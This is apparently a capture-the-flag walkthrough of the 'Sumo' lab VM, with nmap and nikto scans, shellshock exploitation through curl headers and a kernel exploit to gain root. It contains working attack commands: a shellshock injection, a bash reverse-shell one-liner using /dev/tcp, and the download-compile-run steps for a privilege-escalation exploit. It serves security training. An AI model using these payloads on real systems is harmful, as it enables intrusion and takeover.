This includes exploiting a shellshock vulnerability to get a reverse shell and then exploiting the old version kernel used by the VM to get root. I’ve added the IP to my hosts file, So Let’s Begin!

root@kali:~# cat /etc/hosts       localhost       kali    sumo.local

Initial Enumeration and User Shell

I started the reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.

root@kali:~# nmap -sC -sV -oA nmap/sumo sumo.local

Starting Nmap 7.80 ( ) at 2020-06-16 13:06 IST
Nmap scan report for sumo.local (
Host is up (0.00060s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_  256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:97:C2:5C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.48 seconds

We have a port 80 open which displays a default web server page that says “It Works!”

Next I ran a gobuster scan to look for hidden directories, but didn't find anything interesting there. Then I performed a nikto scan to search for some web based vulnerabilities and found that this web server is vulnerable to shellshock vulnerability.

root@kali:~# nikto -h sumo.local
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    sumo.local
+ Target Port:        80
+ Start Time:         2020-06-16 13:11:34 (GMT5.5)
+ Server: Apache/2.2.22 (Ubuntu)
+ Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 23:25:10 2020
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability (
+ OSVDB-112004: /cgi-bin/ Site appears vulnerable to the 'shellshock' vulnerability (
+ OSVDB-3092: /cgi-bin/test/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8595 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2020-06-16 13:12:15 (GMT5.5) (41 seconds)
+ 1 host(s) tested

If you don’t know about shellshock vulnerability, I recommend reading about it here. I tested the vulnerability by running the id command.

root@kali:~# curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" http://sumo.local/cgi-bin/test/test.cgi  

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Excellent, We were able to exploit this vulnerability. Now I executed a payload to open a reverse shell.

root@kali:~# curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ 0>&1' http://sumo.local/cgi-bin/test/test.cgi  

I opened a netcat listener on the other terminal and we got the reverse shell.

root@kali:~# nc -lvnp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 60230
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Root Shell

Getting root on this machine was quite easy and straightforward. This machine is using an old version of kernel. There are many exploits available to escalate the privileges. One of the most famous is Dirty Cow but I won't be using it here.

www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Instead I used this exploit from exploitdb. I downloaded this exploit on my host machine and started a python http server and transferred it to the target machine in the tmp directory.

www-data@ubuntu:/usr/lib/cgi-bin$ cd /tmp
cd /tmp

www-data@ubuntu:/tmp$ wget
--2020-06-16 03:50:50--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3664 (3.6K) [text/plain]         
Saving to: `33589.c'                     

     0K ...         100%  242M=0s
2020-06-16 03:50:50 (242 MB/s) - `33589.c' saved [3664/3664]

Then I tried to compile the exploit but it gave an error. This error can be fixed by updating the path variables using the following command:

www-data@ubuntu:/tmp$ PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH   

This time the exploit compiled without any errors, I gave the exploit executable permissions and after running the exploit, we were root!

www-data@ubuntu:/tmp$ gcc 33589.c -O2 -o exploit
gcc 33589.c -O2 -o exploit

www-data@ubuntu:/tmp$ chmod 777 exploit && ./exploit 0
chmod 777 exploit && ./exploit 0

stdin: is not a tty
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'

root@ubuntu:/tmp# cat /root/root.txt
cat /root/root.txt

That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Markus Magnusson.